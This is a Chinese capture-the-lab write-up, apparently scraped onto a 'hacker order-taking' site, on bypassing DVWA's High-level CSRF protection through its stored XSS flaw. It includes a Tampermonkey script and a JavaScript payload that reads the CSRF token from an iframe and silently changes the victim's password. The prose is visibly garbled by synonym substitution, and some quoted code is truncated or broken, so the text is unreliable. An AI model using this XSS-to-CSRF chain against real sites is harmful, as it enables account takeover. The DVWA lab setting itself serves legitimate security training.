DVWA 1.10 High等级的CSRF另类通关法-黑客接单平台

网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈 0×00 简略剖析一下CSRF后端...

网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈

0×00 简略剖析一下CSRF后端逻辑 vulnerabilitiescsrfsourcehigh.php if( isset( $_GET[ 'Change' ] ) ) { // 验证 Token 假如不正确则跳转到index.php // dvwaincludesdvwaPage.inc.php:527 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //...中心省掉,只重视上下这两个函数... // 生成 Token , 使用了 md5( uniqid() ),所以简直不行能猜测到Token值 // dvwaincludesdvwaPage.inc.php:527 generateSessionToken(); ?> (这儿仅仅简略阐明一下逻辑,本站已有长辈详细剖析过源码) 因为使用了不行猜测到的token,所以咱们首要想到的思路,便是找一个XSS缝隙来合作,先经过XSS取得token之后修正暗码。 0×01 突破点 XSS-Stored vulnerabilitiesxss_ssourcehigh.php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags去除了HTML标签,htmlspecialchars 转义特别字符&"为实体 $message = strip_tags( addslashes( $message ) ); ... $message = htmlspecialchars( $message ); // $name并没有像上面相同严厉过滤,只用正则简略的做了除掉,导致了XSS的或许,可是有约束下面会说 $name = preg_replace( '/, '', $name ); ... // 将$message、$name刺进数据表 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; ... //mysql_close(); } ?> 这儿现已剖析确认了$name可被咱们利用做XSS,这样就可以合作CSRF来重置用户暗码了。 需求先阐明一下DVWA的数据库规划,guestbook表的name字段类型为varchar(100),也便是说最多name只能写入100个字符,超越的字符会被数据库扔掉不存储。 那么怎么做到bypass呢,便是本文要表达的重点了。 0×02 前端先设置油猴脚本 因为DVWA前端的Name字段约束长度10个字符,并且测验过程中发包次数许多,每次都要修正长度就很烦,这儿就可以让油猴替代咱们修正,当然你也可以用Burpsuite发包,我这儿只写了自己的测验办法。 BTW: 这儿没有修正DVWA后端源码,以保证跟我们的代码共同。 // ==UserScript== // @name 改掉DVWA烦人的长度约束 // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author F1tz // @match http://dvwa.lab/vulnerabilities/xss_s/ // @grant none // ==/UserScript== (function() { 'use strict'; var N = document.getElementsByName('txtName'); var M = document.getElementsByName('mtxMessage'); N[0].maxLength=100; N[0].size=60; M[0].value=1; })();

装置脚本,并保证脚本处于启用状况。

这时候翻开测验页面,就可以直接输入最多100个字符了,并且Message会主动填入1。 下面开端测验。 0×03 一次失利的测验 结构payload: 先刺进了一个iframe标报到留言板 "../csrf"> 并在控制台履行测验payload句子 f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t; [1][2][3]黑客接单网

  • 发表于 2021-04-16 13:32
  • 阅读 ( 281 )
  • 分类:互联网

0 条评论

请先 登录 后评论
哈哈问答
哈哈问答

701 篇文章

你可能感兴趣的文章

相关问题